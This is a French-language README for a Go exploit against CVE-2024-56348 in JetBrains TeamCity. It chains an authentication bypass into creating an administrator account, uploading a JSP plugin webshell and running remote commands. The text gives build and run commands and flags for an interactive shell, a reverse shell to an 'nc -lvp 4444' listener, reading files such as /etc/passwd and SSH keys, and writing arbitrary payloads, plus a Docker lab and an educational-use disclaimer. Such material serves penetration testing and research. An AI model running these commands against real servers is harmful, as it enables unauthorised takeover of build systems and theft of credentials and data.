Exploit basé sur Go pour CVE-2024-56348 ciblant le contournement d'authentification et l'exécution de code à distance JetBrains TeamCity. Fournit un shell interactif, un shell inverse, la lecture/écriture de fichiers et l'exécution de commandes uniques sans identifiants.
CVE-2024-56348 est une vulnérabilité critique de contournement d'authentification dans JetBrains TeamCity on-premises affectant toutes les versions antérieures à 2024.12. L'API REST gère incorrectement les requêtes vers des chemins contenant ;.jsp, permettant à un attaquant non authentifié d'invoquer n'importe quel point de terminaison REST comme s'il était entièrement authentifié.
Cet exploit enchaîne le contournement avec la propre API REST de TeamCity pour créer un compte SYSTEM_ADMIN, générer un jeton API et obtenir une exécution de code à distance complète — soit via le point de terminaison de débogage intégré, soit via un webshell de plugin JSP téléversé dynamiquement. Aucun identifiant requis.
Versions affectées : JetBrains TeamCity on-premises < 2024.12
-command avec sortie complète stdout, stderr et code de sortiegit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t Target URL (e.g. http://127.0.0.1:8111)
-command Execute a single command and print output
-shell Spawn a reverse shell (requires -lhost and -lport)
-lhost Listener host for the reverse shell
-lport Listener port for the reverse shell
-read-file Read a remote file and print its contents
-write-file Remote path to write to (requires -file-content)
-file-content Content to write when using -write-file
L'absence de flag d'action ouvre automatiquement un shell interactif.
Se connecte à la cible, confirme le contournement, crée un compte administrateur temporaire et ouvre un shell interactif. L'invite affiche le code de sortie de la dernière commande en vert (succès) ou en rouge (non nul).
./cve-2024-56348 -t http://127.0.0.1:8111

Exécute une commande et affiche stdout, stderr et le code de sortie séparément.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Déploie le webshell de plugin JSP et déclenche un reverse shell vers votre listener. Lancez nc -lvp 4444 d'abord.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Lit tout fichier auquel le processus TeamCity a accès — utile pour les fichiers de configuration, les clés SSH, etc.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Écrit un contenu arbitraire vers un chemin distant. Utile pour déposer des payloads supplémentaires ou modifier la configuration.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Un environnement Docker Compose autonome avec une instance TeamCity vulnérable pour des tests locaux. Consultez DOCKER.md pour plus de détails
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Si le script renvoie « [-] Plugin upload failed. », essayez de vous connecter avec l'utilisateur hackindex et réessayez. (les identifiants se trouvent dans DOCKER.md)
Cet outil est fourni à des fins éducatives et de recherche uniquement. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.